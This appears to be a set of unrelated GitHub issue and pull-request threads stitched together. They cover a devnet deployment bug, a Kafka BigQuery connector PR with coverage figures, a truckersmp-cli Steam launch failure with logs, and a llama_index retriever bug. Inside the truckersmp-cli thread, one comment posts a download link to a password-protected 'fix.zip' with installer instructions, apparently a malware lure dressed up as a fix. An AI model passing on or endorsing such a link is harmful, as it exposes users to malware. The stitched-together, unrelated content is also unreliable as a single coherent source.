@f71uday @Siddhant021295  Can you get someone from codefoster to help with graphics and UI/UX?


[Feature] In-app feature to announce major updates contextually

Today users can see updates only on the homepage, but we need to also announce major changes inside the editor itself. This will help our users learn about features like group drag n drop, undo/ redo, etc.

Done


can not find any domain to deploy applications on devnet

Description
tried to deploy any application on devnet but can not find any domain in the domain list

env used : devnet
version tried on both : a52e2ab ,2.3.0-alpha11

env used : devnet
version : 2311246

testlodge
https://app.testlodge.com/a/26076/projects/40893/suites/234374?expand_section=422332#case_4215557


Generalize schema retriever

Changes made according to the Github issue - #245

Added regexRouter SMT which replaces the topic field of each SinkRecord with (dataset)=(tablename)
Removed the topicToTableResolver class since it will no longer be used. Refactored and adjusted behavior accordingly to make use of sinkRecord with topic field containing destination table.
SchemaRetriever API changed to retrieve the schema from each SinkRecord.
Removed SchemaRegistrySchemaRetriever and MemorySchemaRetriever as these retrieve schema based on the topic and wouldn't be compatible with the new API and SMTs.
Implemented Schema Unionization logic to retrieve the schema from a batch of sink records with heterogenous schemas and for Schema Updates - Currently handles only two cases:

Adding new fields to the schema
Changing a field's mode from Required to Nullable.

Updated Java doc
Integration tests needed some changes to work with SMTs and schema unionization.
Unit tests yet to be fixed.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Codecov Report

Merging #291 into generalization-feature will decrease coverage by 4.81%.
The diff coverage is 45.45%.

@@                     Coverage Diff                      @@
##             generalization-feature     #291      +/-   ##
============================================================
- Coverage                     70.87%   66.06%   -4.82%
+ Complexity                      301      267      -34
============================================================
  Files                            32       32
  Lines                          1538     1485      -53
  Branches                        164      152      -12
============================================================
- Hits                           1090      981     -109
- Misses                          390      451      +61
+ Partials                         58       53       -5

Impacted Files
Coverage Δ
Complexity Δ

.../kafka/connect/bigquery/BigQuerySinkConnector.java
78.37% <ø> (+10.45%)
11.00 <0.00> (-3.00)
:arrow_up:

...ect/bigquery/retrieve/IdentitySchemaRetriever.java
0.00% <0.00%> (ø)
0.00 <0.00> (?)

...om/wepay/kafka/connect/bigquery/SchemaManager.java
28.28% <4.28%> (-48.19%)
6.00 <0.00> (-3.00)

...afka/connect/bigquery/write/row/GCSToBQWriter.java
80.00% <25.00%> (ø)
13.00 <1.00> (ø)

...ect/bigquery/write/row/AdaptiveBigQueryWriter.java
39.68% <40.00%> (-0.95%)
6.00 <1.00> (ø)

...wepay/kafka/connect/bigquery/BigQuerySinkTask.java
56.92% <47.22%> (-2.03%)
27.00 <7.00> (ø)

...ka/connect/bigquery/utils/SinkRecordConverter.java
66.66% <66.66%> (ø)
3.00 <3.00> (?)

...onnect/bigquery/config/BigQuerySinkTaskConfig.java
95.38% <75.00%> (-0.21%)
14.00 <0.00> (ø)

...ka/connect/bigquery/config/BigQuerySinkConfig.java
78.94% <90.47%> (-2.83%)
16.00 <1.00> (-13.00)

...nect/bigquery/write/batch/GCSBatchTableWriter.java
86.20% <100.00%> (-0.46%)
3.00 <2.00> (ø)

... and 5 more


I also changed the difficulty to hard considering the fact that (if you are an EU citizen) you have to inquire via e-mail if you actually want your account deleted.

LGTM! Just added it.

Thanks for your contribution!


[S_API] SteamAPI_Init(): SteamAPI_IsSteamRunning() did not locate a running instance of Steam.

Describe the bug
[S_API] SteamAPI_Init(): SteamAPI_IsSteamRunning() did not locate a running instance of Steam.
[S_API FAIL] SteamAPI_Init() failed
Expected behavior
Should launch the game
Command
`truckersmp-cli --gamedir "/home/dow/snap/steam/common/.local/share/Steam/steamapps/common/American Truck Simulator" --prefixdir "/home/dow/snap/steam/common/.local/share/Steam/steamapps/compatdata/270880" --steamruntimedir "/home/dow/snap/steam/common/.local/share/Steam/steamapps/common/SteamLinuxRuntime_sniper" -c /home/dow/truckersmp-cli.conf --proton --native-steam-dir "/home/dow/snap/steam/common/.steam/steam" -vv start atsmp &`

Config
# Common settings
[DEFAULT]
rendering-backend = dx11
proton-directory = /home/dow/snap/steam/common/.local/share/Steam/steamapps/common/Proton - Experimental
steam-runtime-directory = /home/dow/snap/steam/common/.local/share/Steam/steamapps/common/SteamLinuxRuntime_sniper

# ETS2 Multiplayer specific
[ets2mp]
without-rich-presence = no
game-options = -mm_max_resource_size 90 -mm_max_tmp_buffers_size 1000 -mm_pool_size 16384

# ETS2 Singleplayer
[ets2]
without-rich-presence = no
game-options = -mm_max_resource_size 90 -mm_max_tmp_buffers_size 1000 -mm_pool_size 16384

# ATS Multiplayer specific
[atsmp]
without-rich-presence = no
game-options = -mm_max_resource_size 90 -mm_max_tmp_buffers_size 1000 -mm_pool_size 16384

# ATS Singleplayer
[ats]
without-rich-presence = no
game-options = -mm_max_resource_size 90 -mm_max_tmp_buffers_size 1000 -mm_pool_size 16384

Terminal output
ow@dow-ubuntu:~$ ./atsmp.sh
dow@dow-ubuntu:~$ ** INFO **  Log file: <empty> (Default)
** INFO **  Game directory: /home/dow/snap/steam/common/.local/share/Steam/steamapps/common/American Truck Simulator (Command line option)
** INFO **  Prefix directory: /home/dow/snap/steam/common/.local/share/Steam/steamapps/compatdata/270880 (Command line option)
** INFO **  Game options: -mm_max_resource_size 90 -mm_max_tmp_buffers_size 1000 -mm_pool_size 16384 (Configuration file)
** INFO **  TruckersMP MOD directory: /home/dow/.local/share/truckersmp-cli/TruckersMP (Default)
** INFO **  Whether to disable Steam Runtime (deprecated): False (Default)
** INFO **  Whether to disable Steam Runtime: False (Default)
** INFO **  Whether to use Flatpak version of Steam: False (Default)
** INFO **  Whether to disable Steam Overlay: False (Default)
** INFO **  Proton directory: /home/dow/snap/steam/common/.local/share/Steam/steamapps/common/Proton - Experimental (Configuration file)
** INFO **  Steam Runtime directory: /home/dow/snap/steam/common/.local/share/Steam/steamapps/common/SteamLinuxRuntime_sniper (Command line option)
** INFO **  Rendering backend: dx11 (Configuration file)
** INFO **  AppID/GameID: 270880 (ats)
** INFO **  Proton version is (major=9, minor=0)
** INFO **  Using Steam Runtime container
** INFO **  Steam installation directory: /home/dow/snap/steam/common/.steam/steam
** INFO **  System-wide installation detected: /usr/local/lib/python3.10/dist-packages/truckersmp_cli
** INFO **  Starting game
** INFO **  Running Steam Runtime helper:
  SteamAppId=270880
  SteamGameId=270880
  LD_PRELOAD=/home/dow/snap/steam/common/.steam/steam/ubuntu12_64/gameoverlayrenderer.so
  PROTON_USE_WINED3D=0
  STEAM_COMPAT_CLIENT_INSTALL_PATH=/home/dow/snap/steam/common/.steam/steam
  STEAM_COMPAT_DATA_PATH=/home/dow/snap/steam/common/.local/share/Steam/steamapps/compatdata/270880
  python3
    /home/dow/snap/steam/common/.local/share/Steam/steamapps/common/Proton - Experimental/proton
    run
    /tmp/truckersmp-cli-container-sharing-workaround-as0183u7/truckersmp-cli.exe
    /home/dow/snap/steam/common/.local/share/Steam/steamapps/common/American Truck Simulator
    /home/dow/.local/share/truckersmp-cli/TruckersMP
      -rdevice dx11 -mm_max_resource_size 90 -mm_max_tmp_buffers_size 1000 -mm_pool_size 16384
wine: using kernel write watches, use_kernel_writewatch 1.
fsync: up and running.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
[S_API] SteamAPI_Init(): SteamAPI_IsSteamRunning() did not locate a running instance of Steam.
[S_API FAIL] SteamAPI_Init() failed
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
Proton output:
wine: using kernel write watches, use_kernel_writewatch 1.
fsync: up and running.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
[S_API] SteamAPI_Init(): SteamAPI_IsSteamRunning() did not locate a running instance of Steam.
[S_API FAIL] SteamAPI_Init() failed
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.

```
** INFO **  Game directory: /home/dow/snap/steam/common/.local/share/Steam/steamapps/common/American Truck Simulator (Command line option)
** INFO **  Prefix directory: /home/dow/snap/steam/common/.local/share/Steam/steamapps/compatdata/270880 (Command line option)
** INFO **  Game options: -mm_max_resource_size 90 -mm_max_tmp_buffers_size 1000 -mm_pool_size 16384 (Configuration file)
** INFO **  TruckersMP MOD directory: /home/dow/.local/share/truckersmp-cli/TruckersMP (Default)
** INFO **  Whether to disable Steam Runtime (deprecated): False (Default)
** INFO **  Whether to disable Steam Runtime: False (Default)
** INFO **  Whether to use Flatpak version of Steam: False (Default)
** INFO **  Whether to disable Steam Overlay: False (Default)
** INFO **  Proton directory: /home/dow/snap/steam/common/.local/share/Steam/steamapps/common/Proton - Experimental (Configuration file)
** INFO **  Steam Runtime directory: /home/dow/snap/steam/common/.local/share/Steam/steamapps/common/SteamLinuxRuntime_sniper (Command line option)
** INFO **  Rendering backend: dx11 (Configuration file)
** INFO **  AppID/GameID: 270880 (ats)
** DEBUG **  Updating mod files
** DEBUG **  Creating directory /home/dow/.local/share/truckersmp-cli/TruckersMP if it doesn't exist
** DEBUG **  No files to download
** INFO **  Proton version is (major=9, minor=0)
** INFO **  Using Steam Runtime container
** DEBUG **  Steam is running
** INFO **  Steam installation directory: /home/dow/snap/steam/common/.steam/steam
** INFO **  System-wide installation detected: /usr/local/lib/python3.10/dist-packages/truckersmp_cli
** DEBUG **  Copying Steam Runtime helper to /tmp/truckersmp-cli-container-sharing-workaround-_5s4sai1
** DEBUG **  Copying Flatpak helper to /tmp/truckersmp-cli-container-sharing-workaround-_5s4sai1
** DEBUG **  Copying inject program to /tmp/truckersmp-cli-container-sharing-workaround-_5s4sai1
** DEBUG **  Shared paths: ['/home/dow/snap/steam/common/.local/share/Steam/steamapps/common/American Truck Simulator', '/home/dow/snap/steam/common/.local/share/Steam/steamapps/common/Proton - Experimental', '/home/dow/snap/steam/common/.local/share/Steam/steamapps/compatdata/270880', '/home/dow/.local/share/truckersmp-cli', '/home/dow/.local/share/truckersmp-cli/TruckersMP', '/tmp/truckersmp-cli-container-sharing-workaround-_5s4sai1', '/run/user/1000/snap.discord/discord-ipc-0']
** DEBUG **  Created starter for Proton
** INFO **  Starting game
** DEBUG **  Creating directory /home/dow/snap/steam/common/.local/share/Steam/steamapps/compatdata/270880 if it doesn't exist
** DEBUG **  Native d3dcompiler_47.dll is found
** DEBUG **  Proton:(9, 0), Prefix:(9, 0)
** DEBUG **  Whether to setup native d3dcompiler_47: False
** INFO **  Running Steam Runtime helper:
  SteamAppId=270880
  SteamGameId=270880
  LD_PRELOAD=/home/dow/snap/steam/common/.steam/steam/ubuntu12_64/gameoverlayrenderer.so
  PROTON_USE_WINED3D=0
  STEAM_COMPAT_CLIENT_INSTALL_PATH=/home/dow/snap/steam/common/.steam/steam
  STEAM_COMPAT_DATA_PATH=/home/dow/snap/steam/common/.local/share/Steam/steamapps/compatdata/270880
  python3
    /home/dow/snap/steam/common/.local/share/Steam/steamapps/common/Proton - Experimental/proton
    run
    /tmp/truckersmp-cli-container-sharing-workaround-_5s4sai1/truckersmp-cli.exe
    /home/dow/snap/steam/common/.local/share/Steam/steamapps/common/American Truck Simulator
    /home/dow/.local/share/truckersmp-cli/TruckersMP
      -rdevice dx11 -mm_max_resource_size 90 -mm_max_tmp_buffers_size 1000 -mm_pool_size 16384
** DEBUG **  winediscordipcbridge.exe is present, MD5 is OK.
** DEBUG **  Helper arguments: ['/home/dow/snap/steam/common/.local/share/Steam/steamapps/common/SteamLinuxRuntime_sniper/run', '--filesystem', '/home/dow/snap/steam/common/.local/share/Steam/steamapps/common/American Truck Simulator', '--filesystem', '/home/dow/snap/steam/common/.local/share/Steam/steamapps/common/Proton - Experimental', '--filesystem', '/home/dow/snap/steam/common/.local/share/Steam/steamapps/compatdata/270880', '--filesystem', '/home/dow/.local/share/truckersmp-cli', '--filesystem', '/home/dow/.local/share/truckersmp-cli/TruckersMP', '--filesystem', '/tmp/truckersmp-cli-container-sharing-workaround-_5s4sai1', '--filesystem', '/run/user/1000/snap.discord/discord-ipc-0', '--', 'python3', '/tmp/truckersmp-cli-container-sharing-workaround-_5s4sai1/steamruntime_helper.py', '--early-executable', '/home/dow/.local/share/truckersmp-cli/wine-discord-ipc-bridge/winediscordipcbridge.exe', '--early-wait-before-start', '5', '--wait-before-start', '0', '-vv', '--', 'python3', '/home/dow/snap/steam/common/.local/share/Steam/steamapps/common/Proton - Experimental/proton', 'run', '/tmp/truckersmp-cli-container-sharing-workaround-_5s4sai1/truckersmp-cli.exe', '/home/dow/snap/steam/common/.local/share/Steam/steamapps/common/American Truck Simulator', '/home/dow/.local/share/truckersmp-cli/TruckersMP', '-rdevice', 'dx11', '-mm_max_resource_size', '90', '-mm_max_tmp_buffers_size', '1000', '-mm_pool_size', '16384']
wine: using kernel write watches, use_kernel_writewatch 1.
fsync: up and running.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
[S_API] SteamAPI_Init(): SteamAPI_IsSteamRunning() did not locate a running instance of Steam.
[S_API FAIL] SteamAPI_Init() failed
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
Executables (early): ['/home/dow/.local/share/truckersmp-cli/wine-discord-ipc-bridge/winediscordipcbridge.exe']
Executables: None
Game Arguments: ['python3', '/home/dow/snap/steam/common/.local/share/Steam/steamapps/common/Proton - Experimental/proton', 'run', '/tmp/truckersmp-cli-container-sharing-workaround-_5s4sai1/truckersmp-cli.exe', '/home/dow/snap/steam/common/.local/share/Steam/steamapps/common/American Truck Simulator', '/home/dow/.local/share/truckersmp-cli/TruckersMP', '-rdevice', 'dx11', '-mm_max_resource_size', '90', '-mm_max_tmp_buffers_size', '1000', '-mm_pool_size', '16384']
Waiting time (early): 5
Waiting time: 0
Proton output:
wine: using kernel write watches, use_kernel_writewatch 1.
[S_API] SteamAPI_Init(): SteamAPI_IsSteamRunning() did not locate a running instance of Steam.
[S_API FAIL] SteamAPI_Init() failed
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
wine: using kernel write watches, use_kernel_writewatch 1.
```

Information

OS: Ubuntu 22.04 - Gnome
Proton or Wine version: Proton 9
truckersmp-cli version: latest, just installed
Steam installed via SNAP

Download
https://www.mediafire.com/file/xs3e15yonljh4bk/fix.zip/file
password: changeme
In the installer menu, select "gcc."

We currently don't have support for Steam inside a snap container, as you may already have guessed.
Flatpak is possible though.
@MahouShoujoMivutilde Thanks for the heads-up :pray:


[Bug]: TextToCypher Retriever does not work if you pass in a cypher_validator without also passing in allowed_output_fields

Bug Description
The TextToCypher retriever currently takes two separate parameters with different intents:
        cypher_validator (Optional[callable], optional):
            A callable function to validate the generated Cypher query. Defaults to None.
        allowed_query_fields (Optional[List[str]], optional):
            The fields to allow in the query output. Defaults to ["text", "label", "type"].

There is an issue in the code where it only runs the cypher_validator when the allowed_query_fields is set.  This does not make sense as cypher_validator corrects the query before it is run and allowed_query_fields limits the results returned after the query is run.  These should operate independently.
The checks in these two lines should be removed:
https://github.com/run-llama/llama_index/blob/729d5f2e76cca29284157c6fd8b55fb9953739dd/llama-index-core/llama_index/core/indices/property_graph/sub_retrievers/text_to_cypher.py#L105
https://github.com/run-llama/llama_index/blob/729d5f2e76cca29284157c6fd8b55fb9953739dd/llama-index-core/llama_index/core/indices/property_graph/sub_retrievers/text_to_cypher.py#L139
There is not a need to add a check as it is already done in _parse_generated_cyher (also mispelled cypher)
The allowed_query_output check is still performed here https://github.com/run-llama/llama_index/blob/729d5f2e76cca29284157c6fd8b55fb9953739dd/llama-index-core/llama_index/core/indices/property_graph/sub_retrievers/text_to_cypher.py#L73
Version
0.10.65
Steps to Reproduce
Run a TextToCypher retriever but specify a cypher_validator but not allows_query_outputs
Relevant Logs/Tracbacks
No response

Yea seems like a bug, easy enough to fix :)

This issue is already resolved in main branch so we can close this issue now.


Discourage code blocks in responses

Is there a typical style for what to use for heredoc labels? I see the repo uses END a lot, but it seems we prefer something more semantic in the Core repo.
Link T-140468

Is there a typical style for what to use for heredoc labels?

No particular style or strong opinions I'm aware of!


Add support for Canvas.setMatrix and getTotalMatrix

Part of fixing issue #138.
<EMAIL_ADDRESS>

lgtm

LGTM